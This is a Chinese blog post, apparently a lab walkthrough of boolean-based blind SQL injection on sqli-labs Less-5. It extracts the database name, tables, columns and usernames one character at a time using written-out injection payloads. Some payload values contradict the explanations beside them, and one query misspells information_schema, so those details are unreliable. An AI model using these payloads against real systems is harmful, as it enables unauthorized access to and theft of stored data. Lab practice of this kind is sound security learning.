sql注入 —sqli-labs/Less-5 逻辑注入

逻辑注入:

 

1.尝试查询数据库:
(1)判断数据长度 -- 构造逻辑判断:and length(database())=8

 

当长度等于“8 ”时回显正常,所以数据库长度为“8”
(2)猜解数据库名称:
猜第一位:and ascii(left(database(),1))='100'

 

对照ascii表,115为 " s "及数据库的第一位是“ s ”
 
猜解第二位:and ascii(substr(database(),2,1))='111'

 

对照ascii表,101为“e”,及数据库的第二位是“e”
 
也可以使用mid()函数
 
以此类推:
…….
数据库为:security
 
 
2.尝试查询数据库版本:(只需判断出数据库版本是5.0以上还是以下)
用法:and left(version(),1)='5'

 

 
 
从以上得知数据库名为"security",并且数据库版本为5.0以上,那么我们利用此方式获取"security"数据库下的表:
 
3.获取数据库"security"的第一个表的第一个字符:
用法: and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))='110'

 

对照ascii表"101"为"e",故数据库security中的第一个表的第一个字符为: " e "
 
获取数据库"security"的第一个表的第二个字符:
用法:and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))='100'
对照ascii表,"109"为ascii码中的 "m",故第二个字符为“m”
 
以此类推:
……..
数据库 " security "的第一个表为 " email "
 
 
4.获取数据库 " security "的第二个表:
用法: and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))='100'
对照ascii表,ascii码中" 114 "为字符“r”,故第二个表的第一个字符为 "r"
 
 
方法同上,同理可获得所有表:
及:
emails    
referers  
uagents   
users
 
5.获取users中的列
这里有两种方法:
法一:and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))='100'
对照ascii表,“117”为“u”,故users表中第一个列名的第一个字符为“u”
 
以此类推
      …….
可以推理出所有列名,但我感觉是个大工程啊!!!
因为当一个users表中涵盖列名用以下:

 

 
法二:我们不妨这样想,既然我们猜解到表中含有users这个表
按常规思路,敏感数据如:username、password、passwd 按照这个思路我们可以进行逻辑注入
用法:and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp'^username')

 

 
解释:定义一个变量"1"在这"1"中进行查询,在users表中,查询正则匹配是否有‘username’这个列名有侧返回“1”的列数

 

此时返回 Subquery returns more than 1 row -->子查询返回超过 1 行
由此可知是存在"username"的,因为存在的比较多一行返回不过,所有报此错

 

 
 
 
而我们可以加点“料”,让它只在一行
用法:and 1=(select column_name from information_name.columns where table_name='users' and column_name regexp'^username' limit 0,1)
 
注入:
再一次确定了,是存在名为“username” 的列
 
在上面操作可以看到"username"存在。我们可以将"username"换成"password"等其他的项也是可以的。
 
 
6.获取users表中的内容
先看一下所有users表中所有的用户,以证明我的猜解是正确的

 

(1)猜解username中第一个用户名
用法: and ord((mid((select username from security.users limit 0,1),1,1)))='68'
//含义:查询从username中第一行开始只取一个的第一位字符

 

实战:
对照ascii表“68”,username列中的第一行的第一个用户名字符为"D"
 
以此类推
…….
可以猜解出,第一个用户为Dumb
 
那么怎么猜解第二个呢?
 
(2)猜解username中的第二个用户:
   用法: and ord(mid((select username from security.users limit 1,1),1,1))='65'  

 

  注入:

 

  对照ascii表,"65"为ascii表中的"A",故users表中第二个用户名的第一个字符为“A”               
 
以此类推……
接下来的用户名和密码都是
如此……                                                                                                                                                                                                  
posted @ 2021-12-27 10:17  whoami_x0  阅读(227)  评论(0)    收藏  举报